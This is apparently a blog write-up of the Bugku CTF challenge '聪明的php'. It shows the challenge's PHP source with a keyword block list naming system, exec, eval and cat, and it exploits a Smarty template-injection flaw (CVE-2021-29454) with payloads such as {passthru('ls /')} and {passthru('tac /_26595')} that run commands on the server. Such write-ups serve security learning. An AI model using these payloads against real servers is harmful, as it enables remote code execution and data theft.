首页 > 编程语言 >Web_Bugku_WriteUp | 聪明的php

Web_Bugku_WriteUp | 聪明的php

时间:2024-03-18 18:25:14浏览次数:23  
标签:Web Bugku value flag html Smarty template php 模板

题目

分析

翻译一下题目:传递一个参数,也许标志文件的文件名是随机的:>


于是随便传个参数 ?a,出现 php 代码:

<?php
include('./libs/Smarty.class.php');
echo "pass a parameter and maybe the flag file's filename is random :>";
$smarty = new Smarty();  // new一个Smarty模板
if($_GET){
    highlight_file('index.php');
    foreach ($_GET AS $key => $value)  // 以value为名遍历_GET数组
    {
        print $key."\n";  // 打印变量key+换行
        if(preg_match("/flag|\/flag/i", $value)){  // 如果在value中匹配到大小写的flag或/flag字符串
            $smarty->display('./template.html');  // 通过Smarty渲染根目录下的template.html模板并输出到浏览器
        }elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){  // 否则如果在value中匹配到大小写的system或readfile或gz或exec或eval或cat或assert或file或fgets字符串
            $smarty->display('./template.html');  // 通过Smarty渲染根目录下的template.html模板并输出到浏览器
        }else{
            $smarty->display("eval:".$value);  // 通过Smarty渲染根目录下的“eval”字符串+value的值为名的模板并输出到浏览器
        }
    }
}
?> 

对于 value 中存在字符串“flag”“/flag”“system”“readfile”“gz”“exec”“eval”“cat”“assert”“file”“fgets”的情况,浏览器将显示 template.html 模板,于是先看看 template.html 的内容:

看来该条件语句是对以上字符串的过滤。


代码第 3 行提到使用了 Smarty 模板,查了一下该模板,发现在 3.1.42 和 4.0.2 版本之前存在模板注入漏洞,模板作者可以通过制作恶意数学字符串来运行任意 PHP 代码。尝试查看该模板版本号 ?a={$smarty.version}


显示为 3.1.30,验证一下漏洞:

可以对模板进行注入。


在 php 调用系统底层的四个函数 system shell_exec exec passthru 中,仅 passthru 未被过滤,遂通过 ?a={passthru('ls')} 查询当前目录的文件:


没有发现可疑文件,尝试从根目录查起,传入 ?a={passthru('ls /')}


发现一个奇怪的文件 “_26595”,?a={passthru('tac /_26595')} ?a={passthru('tac /_26595')}看看情况:

找到 flag。

参考

CVE-2021-29454—Smarty模板注入分析复现-先知社区

标签:Web,Bugku,value,flag,html,Smarty,template,php,模板
From: https://www.cnblogs.com/Guanz/p/18080938

相关文章

  • 如何使用缓存来提高Web应用的性能?
    一、如何使用缓存来提高Web应用的性能? 使用缓存是提高Web应用性能的一种有效方法。缓存可以在多个层面上实现,包括浏览器缓存、代理服务器缓存、数据库查询缓存以及应用层面的缓存等。以下是一些关于如何使用缓存来提高Web应用性能的建议:浏览器缓存:通过设置HTTP缓存头(如Ca......
  • 基于PHP+Mysql网上商城购物商城系统设计与实现
     博主介绍:黄菊华老师《Vue.js入门与商城开发实战》《微信小程序商城开发》图书作者,CSDN博客专家,在线教育专家,CSDN钻石讲师;专注大学生毕业设计教育和辅导。所有项目都配有从入门到精通的基础知识视频课程,学习后应对毕业设计答辩。项目配有对应开发文档、开题报告、任务书、P......
  • Web 开发模式演进过程
    作为初学者,要了解Web开发模式的演进过程,并从这些演进过程中看到变化,这样有利于开发者的思路提升。什么是Web开发Web:网页,可以通过浏览器访问的资源Web开发:基于网页载体的软件开发,以网页提供给用户进行业务功能操作Web应用:由多个静态和动态web资源组成,如:HTML、CS、......
  • 后端程序员学JavaWeb必备小知识
    小知识1.判断前端或后端的关键在于内容由哪个解析对象来解析。如果是由浏览器解析,那就是前端;如果是由后台的JDK/Tomcat/Nginx等来解析和执行,那就是后端。2.后端成员掌握前端程度:(1)基本使用,能看懂,能维护即:具备基本的前端知识,包括HTML、CSS和JavaScript的基础概念、语法......
  • 【HTTP完全注解】Web常见攻击与防护手段
    Web常见攻击与防护前段时间深入的学习了下HTTP的CSP策略,就想着找几个网站练练手,看看哪个倒霉蛋要中招。说巧不巧打开掘金一看,嘻嘻正是我想要的,于是乎就诞生了一个有意思的攻击示例:攻击掘金示例(大家放心访问不造成任何安全风险)。相信大家看源码之后恍然大悟,并且不屑一顾,我......
  • [web-front-end] Web前端(1)Vue项目目录结构 [转]
    0序因近期接触开源项目,需温故、了解一下基于Vue框架等前端工程的目录结构。本文属于笔记类博文,非原创,主要阅读对象:博主本人。1Vue项目目录结构1.1目录结构Vue项目的目录结构通常是由VueCLI(Vue命令行界面)生成的默认结构,它提供了一个基本的项目框架。以下是一个典型......
  • 【粉丝福利社】PHP从入门到精通(第6版)(软件开发视频大讲堂)(文末送书-完成)
    ......
  • ubuntu - php 多版本安装
    原文:https://techvblogs.com/blog/install-multiple-php-versions-on-ubuntu-22-04sudoaptinstallsoftware-properties-commonsudoadd-apt-repositoryppa:ondrej/phpsudoaptupdate安装php8.1:sudoapt-getinstallphp8.1php8.1-fpm安装php8.1拓展:sudoapt-getinst......
  • ssm/php/node/python学生竞赛模拟系统
    本系统(程序+源码)带文档lw万字以上  文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义选题背景:在当前的教育环境中,学生竞赛已经成为衡量学生学术能力和创新思维的重要手段。随着科技的发展,越来越多的竞赛采用了线上模拟系统来进行,其中4x1nt学生竞赛......
  • ssm/php/node/python学生学习评价与分析系统
    本系统(程序+源码)带文档lw万字以上  文末可领取本课题的JAVA源码参考系统程序文件列表系统的选题背景和意义选题背景:在教育领域,学生的学习评价一直是教师、家长乃至学校管理者关注的重点。传统的学习评价方式主要依靠考试成绩和教师的主观观察,这种方式往往不能全面反映......